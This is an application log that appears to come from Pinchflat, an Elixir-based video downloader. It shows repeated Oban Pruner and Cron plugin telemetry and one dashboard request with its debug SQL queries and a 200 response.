{"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:46.240 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:00.915 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:16:16.242 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:46.244 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:00.916 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:17:16.246 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:46.248 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:00.917 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:18:16.250 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:46.252 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:00.918 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:19:16.254 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:46.256 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:00.919 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:20:16.258 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:46.260 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:00.920 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:21:16.262 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:46.264 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:00.921 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:22:16.266 [info] {"source":"oban","duration":1103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:46.268 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:00.922 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:23:16.270 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:46.272 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:00.923 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:24:16.274 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:46.276 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:00.924 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:25:16.278 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:46.280 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:00.925 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:26:16.282 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:46.284 [info] {"source":"oban","duration":1635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:00.926 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:27:16.286 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:46.288 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:00.927 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:28:16.290 [info] {"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:46.292 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:00.928 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:29:16.294 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:46.296 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:00.929 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:30:16.298 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:46.300 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:00.930 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:31:16.302 [info] {"source":"oban","duration":1146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:46.304 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:00.931 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:32:16.306 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:46.308 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:00.932 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:33:16.310 [info] {"source":"oban","duration":1154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:46.312 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:00.933 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:34:16.314 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:46.316 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:00.934 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:35:16.318 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:46.320 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:00.935 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:36:16.322 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:46.324 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:00.936 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:37:16.326 [info] {"source":"oban","duration":1039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:46.328 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:00.937 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:38:16.330 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:46.332 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:00.938 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:39:16.334 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:46.336 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:00.939 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:40:16.338 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:46.340 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:00.940 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:41:16.342 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:46.344 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:00.941 [info] {"source":"oban","duration":510,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:42:16.346 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:46.348 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:00.942 [info] {"source":"oban","duration":238,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:43:16.350 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:46.352 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:00.943 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:44:16.354 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:46.356 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:00.944 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:45:16.358 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:46.360 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:00.945 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:46:16.362 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:46.364 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:56.049 [info] GET / 12:46:56.049 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 12:46:56.050 [debug] QUERY OK source="settings" db=0.4ms idle=1878.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:46:56.050 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1879.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 12:46:56.051 [debug] QUERY OK source="sources" db=0.3ms idle=1879.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 12:46:56.056 [debug] QUERY OK source="media_items" db=4.9ms idle=1662.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 12:46:56.057 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=666.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 12:46:56.058 [debug] QUERY OK source="settings" db=0.3ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:46:56.058 [debug] QUERY OK source="settings" db=0.2ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:46:56.059 [debug] QUERY OK source="settings" db=0.2ms idle=8.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:46:56.062 [debug] QUERY OK source="tasks" db=0.5ms idle=5.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 12:46:56.063 [debug] QUERY OK source="media_items" db=0.5ms idle=5.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 12:46:56.064 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=5.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 12:46:56.066 [debug] QUERY OK source="sources" db=0.4ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 4] 12:46:56.076 [debug] QUERY OK source="media_items" db=6.0ms idle=10.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 12:46:56.078 [debug] QUERY OK source="media_items" db=1.4ms idle=14.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 12:46:56.079 [debug] QUERY OK source="sources" db=0.4ms idle=15.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 12:46:56.083 [info] Sent 200 in 34ms 12:47:00.946 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:47:16.366 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:46.368 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:00.947 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:48:16.370 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:46.372 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:00.948 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:49:16.374 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:46.376 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:00.949 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:50:16.378 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:46.380 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:00.950 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:51:16.382 [info] {"source":"oban","duration":1088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:46.384 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:00.951 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:52:16.386 [info] {"source":"oban","duration":1124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:46.388 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:00.952 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:53:16.390 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:46.392 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:00.953 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:54:16.394 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:46.395 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:00.954 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:55:16.398 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:46.400 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:00.955 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:56:16.402 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:46.404 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:00.956 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:57:16.406 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:46.408 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:00.957 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:58:16.410 [info] {"source":"oban","duration":1393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:46.412 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:00.958 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:59:16.414 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:46.416 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:00.959 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:00:16.418 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:46.420 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:00.960 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:01:16.422 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:46.424 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:00.961 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:02:16.426 [info] {"source":"oban","duration":1025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:46.428 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:00.962 [info] {"source":"oban","duration":253,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:03:16.430 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:46.432 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:00.963 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:04:16.434 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:46.436 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:00.964 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:05:16.438 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:46.440 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:00.965 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:06:16.442 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:46.444 [info] {"source":"oban","duration":1655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:00.966 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:07:16.446 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:46.448 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:00.967 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:08:16.450 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:46.452 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:00.969 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:09:16.453 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:46.456 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:00.970 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:10:16.458 [info] {"source":"oban","duration":1049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:46.460 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:00.971 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:11:16.462 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 